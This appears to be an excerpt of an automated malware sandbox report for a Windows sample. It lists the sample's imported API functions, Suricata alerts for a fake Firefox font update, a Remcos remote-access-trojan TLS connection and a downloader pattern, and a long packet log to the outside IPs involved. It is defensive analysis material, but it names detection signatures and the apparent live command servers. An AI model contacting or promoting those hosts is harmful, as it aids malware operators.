GetWindow, GetMessageTime, GetMessagePos, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameA, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassLongA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EnumChildWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextExA, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawFocusRect, DrawEdge, DispatchMessageW, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetMapMode, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SetArcDirection, SelectPalette, SelectObject, SelectClipRgn, SaveDC, RoundRect, RestoreDC, Rectangle, RectVisible, RealizePalette, Polyline, PlayEnhMetaFile, Pie, PatBlt, MoveToEx, MaskBlt, LineTo, LPtoDP, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileDescriptionA, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, FrameRgn, FillRgn, ExcludeClipRect, Ellipse, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreateRectRgnIndirect, CreateRectRgn, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateEnhMetaFileA, CreateEllipticRgnIndirect, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, CombineRgn, CloseEnhMetaFile, BitBlt
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
kernel32.dll	lstrcpyA, WriteFile, WaitForSingleObject, VirtualQuery, VirtualProtectEx, VirtualAlloc, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, QueryDosDeviceA, MultiByteToWideChar, MulDiv, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalSize, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVolumeInformationA, GetVersionExA, GetVersion, GetUserDefaultLCID, GetTickCount, GetThreadLocale, GetStdHandle, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetDriveTypeA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCurrentProcess, GetCPInfo, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FindResourceA, EnumCalendarInfoA, EnterCriticalSection, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegFlushKey, RegCloseKey
oleaut32.dll	GetErrorInfo, SysFreeString
ole32.dll	CreateStreamOnHGlobal, IsAccelerator, OleDraw, OleSetMenuDescriptor, CoCreateInstance, CoGetClassObject, CoUninitialize, CoInitialize, IsEqualGUID
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopy, VariantClear, VariantInit
comctl32.dll	_TrackMouseEvent, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_GetIcon, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-19T08:00:24.178681+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49710	103.82.231.117	443	TCP
2024-12-19T08:00:30.775132+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.7	49725	185.174.103.111	2404	TCP
2024-12-19T08:00:33.888987+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49736	178.237.33.50	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 08:00:22.334625959 CET	49709	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:22.334697008 CET	443	49709	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:22.334774971 CET	49709	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:22.343753099 CET	49709	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:22.343849897 CET	443	49709	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:22.343904018 CET	49709	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:22.434791088 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:22.434844017 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:22.434932947 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:22.477561951 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:22.477596998 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:24.178611994 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:24.178680897 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:24.182118893 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:24.182132006 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:24.182411909 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:24.231065035 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:24.285278082 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:24.331337929 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.011461020 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.062093019 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.259005070 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.259021044 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.259042025 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.259051085 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.259078979 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.259092093 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.259110928 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.259135008 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.259161949 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.319042921 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.319056988 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.319092989 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.319114923 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.319133043 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.319175959 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.319175959 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.519511938 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.519540071 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.520071030 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.520101070 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.520176888 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.556188107 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.556222916 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.556380987 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.556401014 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.556456089 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.599661112 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.599689007 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.599973917 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.599991083 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.600104094 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.746712923 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.746798038 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.746882915 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.746912956 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.746953011 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.746953011 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.767029047 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.767097950 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.767169952 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.767189980 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.767240047 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.767240047 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.782567024 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.782618999 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.782753944 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.782753944 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.782776117 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.782840967 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.798125029 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.798182964 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.798341990 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.798341990 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.798377037 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.798490047 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.813539028 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.813608885 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.813771009 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.813771009 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.813795090 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.814835072 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.860404015 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.860434055 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.860568047 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.860569000 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.860596895 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.862843990 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.940372944 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.940407991 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.940502882 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.940502882 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.940534115 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.942754030 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.988445997 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.988502026 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.988588095 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.988588095 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.988614082 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.988706112 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.995989084 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.996036053 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.996090889 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.996121883 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:25.996140003 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:25.996226072 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.004549026 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.004595041 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.004684925 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.004684925 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.004700899 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.004739046 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.011533022 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.011580944 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.011704922 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.011704922 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.011715889 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.011837959 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.020104885 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.020163059 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.020241976 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.020241976 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.020251989 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.020365000 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.027151108 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.027173042 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.027280092 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.027280092 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.027291059 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.027333975 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.035306931 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.035342932 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.035432100 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.035432100 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.035444021 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.035880089 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.126873970 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.126904011 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.126944065 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.126971006 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.126990080 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.127007961 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.177676916 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.177706003 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.177752972 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.177776098 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.177800894 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.177823067 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.185628891 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.185657978 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.185697079 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.185719013 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.185741901 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.185796022 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.192424059 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.192456961 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.192486048 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.192503929 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.192536116 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.192548990 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.200149059 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.200175047 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.200208902 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.200227022 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.200253963 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.200270891 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.207743883 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.207772017 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.207807064 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.207822084 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.207865000 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.207885027 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.228409052 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.228435993 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.228481054 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.228498936 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.228534937 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.228554964 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.236104012 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.236126900 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.236162901 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.236181021 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.236211061 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.236226082 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.317791939 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.317821980 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.317872047 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.317890882 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.317919970 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.317938089 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.368875027 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.368901014 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.368959904 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.368978977 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.369007111 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.369034052 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.376426935 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.376444101 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.376528025 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.376548052 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.376586914 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.384123087 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.384155989 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.384196997 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.384217978 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.384239912 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.384257078 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.391824961 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.391855955 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.391912937 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.391935110 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.391974926 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.398542881 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.398561954 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.398634911 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.398650885 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.398694992 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.419751883 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.419805050 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.419862986 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.419883013 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.419909000 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.419918060 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.427452087 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.427500010 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.427541018 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.427551031 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.427577019 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.427599907 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.510240078 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.510302067 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.510348082 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.510371923 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.510392904 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.510418892 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.561084032 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.561151028 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.561229944 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.561259031 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.561285019 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.561311960 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.568859100 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.568882942 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.568967104 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.568980932 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.569031954 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.576550961 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.576570988 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.576683998 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.576690912 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.576730967 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.583328009 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.583353043 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.583457947 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.583467007 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.583509922 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.590894938 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.590913057 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.591018915 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.591027021 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.591080904 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.612938881 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.612998962 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.613051891 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.613069057 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.613097906 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.613112926 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.619988918 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.620034933 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.620079041 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.620091915 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.620131969 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.620131969 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.703675985 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.703741074 CET	443	49710	103.82.231.117	192.168.2.7
